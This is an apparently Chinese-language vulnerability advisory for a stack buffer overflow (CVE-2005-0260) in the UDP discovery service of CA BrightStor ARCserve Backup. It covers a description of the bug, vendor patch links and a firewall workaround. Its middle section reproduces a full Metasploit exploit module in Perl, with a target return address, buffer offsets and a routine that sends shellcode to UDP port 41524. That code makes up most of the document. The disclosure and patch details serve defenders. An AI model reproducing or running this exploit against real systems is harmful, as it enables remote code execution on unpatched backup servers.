发布日期：2005-02-09
更新日期：2005-02-21

受影响系统：

Computer Associates BrightStor ARCserve Backup v11 (Win32)

描述：

---

BUGTRAQ  ID: 12491
CVE(CAN) ID: CVE-2005-0260

Computer Associates BrightStor ARCserve Backup是多平台下的备份和恢复保护系统。

Computer Associates BrightStor ARCserve Backup发现服务存在一个缓冲区溢出，远程攻击者可以利用这个漏洞进行缓冲区溢出攻击，可能以进程权限在系统上执行任意指令。

BrightStor软件可以在本地网络自动探测其他BrightStor服务器，它通过发送UDP探测消息来广播地址，每个运行BrightStor软件的系统监听这些包并回复嵌入IP地址的包，此探测服务监听UDP 41524端口。

当接收到UDP探测后，服务调用的recvfrom()接收4096字节，但是拷贝的目的缓冲区只有1000字节大小，通过发送过长消息可导致返回地址被覆盖，精心构建提交数据可能以进程权限在系统上执行任意指令。

<*来源：iDEFENSE
        Patrik Karlsson
  
  链接：www.idefense.com/application/poi/display?id=194
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::cabrightstor_disco;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
  {
    'Name'     => 'CA BrightStor Discovery Service Overflow',
    'Version'  => '$Revision: 1.16 $',
    'Authors'  => [ 'Thor Doomen <syscall [at] hushmail.com>' ],
    'Arch'     => [ 'x86' ],
    'OS'       => [ 'win32', 'win2000', 'winxp', 'win2003' ],
    'Priv'     => 1,
    'AutoOpts' => { 'EXITFUNC' => 'process' },

    'UserOpts' =>
      {
        'RHOST' => [1, 'ADDR', 'The target address'],
        'RPORT' => [1, 'PORT', 'The target port', 41524],
      },

    'Payload' =>
      {
        'Space'     => 2048,
        'BadChars'  => "\x00",
        'Prepend' => "\x81\xc4\x54\xf2\xff\xff",    # add esp, -3500
        'Keys'        => ['+ws2ord'],
      },

    'Description'  => Pex::Text::Freeform(qq{
        This module exploits a vulnerability in the CA BrightStor
        Discovery Service. This vulnerability occurs when a large
        request is sent to UDP port 41524, triggering a stack
        overflow.
}),

    'Refs'    =>
      [
          ['OSVDB', '13613'],
        ['BID',    '12491'],
        ['CVE',    '2005-0260'],
        ['URL',    'http://www.idefense.com/application/poi/display?id=194&type=vulnerabilities'],
        ['MIL', '14'],        
      ],

    'Targets' =>
      [
        ['cheyprod.dll 12/12/2003', 0x23808eb0], # call to edi reg
      ],

    'Keys'    => ['brightstor'],

    'DisclosureDate' => 'Dec 20 2004',
  };

sub new {
    my $class = shift;
    my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
    return($self);
}

sub Check {
    my $self = shift;
    my $target_host = $self->GetVar('RHOST');
    my $target_port = 41523;

    # Connection #1 should not receive a response
    my $s = Msf::Socket::Tcp->new
      (
        'PeerAddr'  => $target_host,
        'PeerPort'  => $target_port,
      );

    if ($s->IsError) {
        $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
        return $self->CheckCode('Connect');
    }

    $s->Send("META");
    my $res = $s->Recv(-1, 1);
    $s->Close;

    if ($res) {
        $self->PrintLine("[*] The discovery returned a strange response: $res");
    }

    # Connection #2 should receive the hostname of the target
    my $s = Msf::Socket::Tcp->new
      (
        'PeerAddr'  => $target_host,
        'PeerPort'  => $target_port,
      );

    if ($s->IsError) {
        $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
        return $self->CheckCode('Connect');
    }

    $s->Send("hMETA");
    my $res = $s->Recv(-1, 1);
    $s->Close;

    if (! $res) {
        $self->PrintLine("[*] The discovery service did not respond to our query");
        return $self->CheckCode('Generic');
    }

    $self->PrintLine("[*] Discovery service active on host: $res");
    return $self->CheckCode('Detected');
}

sub Exploit {
    my $self = shift;
    my $target_host = $self->GetVar('RHOST');
    my $target_port = $self->GetVar('RPORT');
    my $target_idx  = $self->GetVar('TARGET');
    my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
    my $target = $self->Targets->[$target_idx];

    $self->PrintLine("[*] Attempting to exploit target " . $target->[0]);

    my $s = Msf::Socket::Udp->new
      (
        'PeerAddr'  => $target_host,
        'PeerPort'  => $target_port,
      );

    if ($s->IsError) {
        $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
        return;
    }

    my $bang = "X" x 4096;

    # esp @ 971
    # ret @ 968
    # edi @ 1046
    # end = 4092

    substr($bang, 968, 4, pack('V', $target->[1]));
    substr($bang, 1046, length($shellcode), $shellcode);

    $self->PrintLine("[*] Sending " .length($bang) . " bytes to remote host.");
    $s->Send($bang);
    $s->Recv(-1, 5);

    return;
}

1;

建议：

---

临时解决方法：

如果您不能立刻安装补丁或者升级，NSFOCUS建议您采取以下措施以降低威胁：

* 部署防火墙,访问控制列表或其他TCP/UDP限制机制,限制对系统和服务的访问.

厂商补丁：

Computer Associates
-------------------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://supportconnectw.ca.com/public/enews/BrightStor/brigcurrent.asp

现已发布以下厂商补丁:

BrightStor ARCserve Backup r11.1 for Windows -
http://supportconnect.ca.com/sc/redir.jsp?reqPage=search&searchID=QO62769

BrightStor ARCserve Backup r11.0 for Windows -
http://supportconnect.ca.com/sc/redir.jsp?reqPage=search&searchID=QO62768

BrightStor Enterprise Backup v10.5 for Windows -
http://supportconnect.ca.com/sc/redir.jsp?reqPage=search&searchID=QO62770

BrightStor Enterprise Backup v10.0 for Windows -
http://supportconnect.ca.com/sc/redir.jsp?reqPage=search&searchID=QO62771

BrightStor ARCserve Backup v9.01 for Windows -
http://supportconnect.ca.com/sc/redir.jsp?reqPage=search&searchID=QO62767

BrightStor ARCserve 2000 Backup for Windows (日语版) -
http://supportconnect.ca.com/sc/redir.jsp?reqPage=search&searchID=QO62766

BrightStor ARCserve Backup r11.1 for NetWare
http://supportconnect.ca.com/sc/redir.jsp?reqPage=search&searchID=QO62936

BrightStor ARCserve Backup v9 for NetWare
http://supportconnect.ca.com/sc/redir.jsp?reqPage=search&searchID=QO62772

BrightStor ARCserve Backup r11.1 for Windows - 64 Bit Edition -
http://supportconnect.ca.com/sc/redir.jsp?reqPage=search&searchID=QO62990

BrightStor ARCserve Backup r11.0 for Windows - 64 Bit Edition -
http://supportconnect.ca.com/sc/redir.jsp?reqPage=search&searchID=QO62989

BrightStor Enterprise Backup v10.5 for Windows - 64 Bit Edition -
http://supportconnect.ca.com/sc/redir.jsp?reqPage=search&searchID=QO62991

BrightStor ARCserve Backup v9.01 for Windows - 64 Bit Edition -
http://supportconnect.ca.com/sc/redir.jsp?reqPage=search&searchID=QO62987

浏览次数：3542
严重程度：0（网友投票）